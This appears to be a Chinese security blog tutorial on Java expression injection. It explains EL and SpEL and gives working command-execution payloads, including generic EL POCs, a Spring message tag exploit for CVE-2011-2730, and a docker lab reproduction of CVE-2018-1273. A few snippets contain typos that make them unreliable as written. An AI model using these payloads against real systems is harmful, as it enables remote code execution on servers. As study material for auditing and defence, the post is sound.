【Java代码审计】表达式注入

1 前置知识

1.1 EL表达式

EL表达式主要功能

  • 获取数据:可以从JSP四大作用域中获取数据
  • 执行运算:执行一些关系运算,逻辑运算,算术运算
  • 获取web开发常用对象:通过内置 的11个隐式对象获取想要的数据
  • 调用java方法:允许用户开发自定义EL函数,通过EL表达式调用java方法

JSP四大作用域

  • page:只在一个页面保存数据(默认)
  • request:只在一个请求保存数据
  • session:只在一个会话保存数据
  • application:在整个服务器保存数据,全部用户共享

EL表达式获取对象属性的方法

  • ${对象.属性}
  • [] :属性名中存在特殊字符或者属性名是一个变量时使用

实例化java内置类

  • 例如使用Runtime.class会执行系统命令${Runtime.getRuntime().exec("calc")}

jsp标准方法与EL表达式取值的区别

JSPEL表达式
<%=((Person)request.getAttribute("p")).getName()%>${p.name}
<%=((Person)request.getAttribute("p")).getAge()%>${p.age}

1.2 SPEL表达式

SPEL表达式注入:独立于Spring容器使用,但只被当成简单的表达式语言使用

SPEL中EvaluationContext(表示解析器)用于评估表达式和解析属性、方法以及字段并帮助执行类型转换的接口

两种实现方法

SimpleEvaluationContextStandardEvaluationContext(默认)
权限小,只支持一些map结构权限大,可以执行任意代码,会被恶意用户利用
针对不需要SPEL语言语法的全部范围并且应该受到有意限制的表达式类别,公开SpEL语言特性和配置选项的子集公开SpEL全部语言功能和配置选项。用户可以使用他来指定默认的跟对象并配置每个可用的评估相关策略

利用

String expressionstr = "T(Runtime).getRuntime().exec(\"calc\")";
// 创建解析器:SpEL 使用 ExpressionParser 接口表示解析器,提供 SpelExpressionParser 默认实现
ExpressionParser parser = new SpelExpressionParser();
// 构造上下文:准备比如变量定义等等表达式需要的上下文数据
EvaluationContext evaluationContext = new StandardEvaluationContext();
// 解析表达式:使用 ExpressionParser 的 parseExpression 来解析相应的表达式为 Expression 对象
Expression expression = parser.parseExpression(expressionstr);
system.out.prinln(expression.getValue(evaluarionContext));

2 漏洞描述

表达式注入(EL表达式),JSP的一种内置语言。作用于用户访问页面的上下文以及不同作用域的对象,取得对象属性值或者执行简单的运算和判断操作。

3 通用POC

//对应于JSP页面中的pageContext对象(注意:取的是pageContext对象)
${pageContext}

//获取Web路径
${pageContext.getSession().getServletContext().getClassLoader().getResource("")}

//文件头参数
${header}

//获取webRoot
${applicationScope}

//执行命令
${pageContext.request.getSession().setAttribute("a",pageContext.request.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("calc").getInputStream())}

4 CVE-2011-2730-Spring标签EL表达式注入

原理:Spring的message标签会对EL表达式进行解析,且 web容器也会对EL表达式进行解析,两次解析造成EL表达式注入。

spring message标签形式:<spring:message text="${param.a}"></spring:message>

利用

  • 获取信息a = ${applicationScope}

  • 攻击性:利用反射,先获取getRuntime方法中的method对象,然后通过invoke获取Runtime对象,然后可以直接调用exec方法运行恶意代码

    <spring:message text=
    "${/"/".getClass().forName(/"java.lang.Runtime/").getMethod(/"getRuntime/",null).invoke(null,null).exec(/"calc/",null).toString()}">
    </spring:message>
    

验证步骤

  1. 确定web应用使用了spring标签,因为没有spring标签的话,也就谈不上EL表达式注入了
  2. 确定标签中存在EL注入,可以通过提交${applicationScope}等进行测试
  3. 判断servlet容器版本,如果容器不支持EL2.2的话,存在EL注入也只能进行获取服务器信息等操作了
  4. 如果容器支持EL2.2,就可以尝试构造攻击代码对服务器本身直接进行攻击

5 CVE-2018-1273-Spring Data Commons 远程代码执行漏洞

5.1 描述

成因:当用户在项目中利用了Spring-data的相关web特性对用户的输入参数进行自动匹配的时候,会将用户提交的form表单的key值作为Spel的执行内容。

前置知识:Spring Data是一个用于简化数据库访问,并支持云服务的开源框架,Spring Data Commons是Spring Data下所有子项目共享的基础框架。Spring Data Commons 在2.0.5及以前版本中,存在一处SpEL表达式注入漏洞,攻击者可以注入恶意SpEL表达式以执行任意命令.

漏洞的判定:确认目标项目中含有Spring-data-commons包并且版本范围如下

Spring Data Commons 1.13 to 1.13.10

Spring Data Commons 2.0 to 2.0.5

5.2 docker复现

burp抓包,使用payload:

username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch /tmp/success")]=&password=&repeatedPassword=

在这里插入图片描述

放包,页面返回如下

在这里插入图片描述

使用命令docker-compose exec spring bash

进入目录查看是否有success,有success

在这里插入图片描述

  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

吃_早餐

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值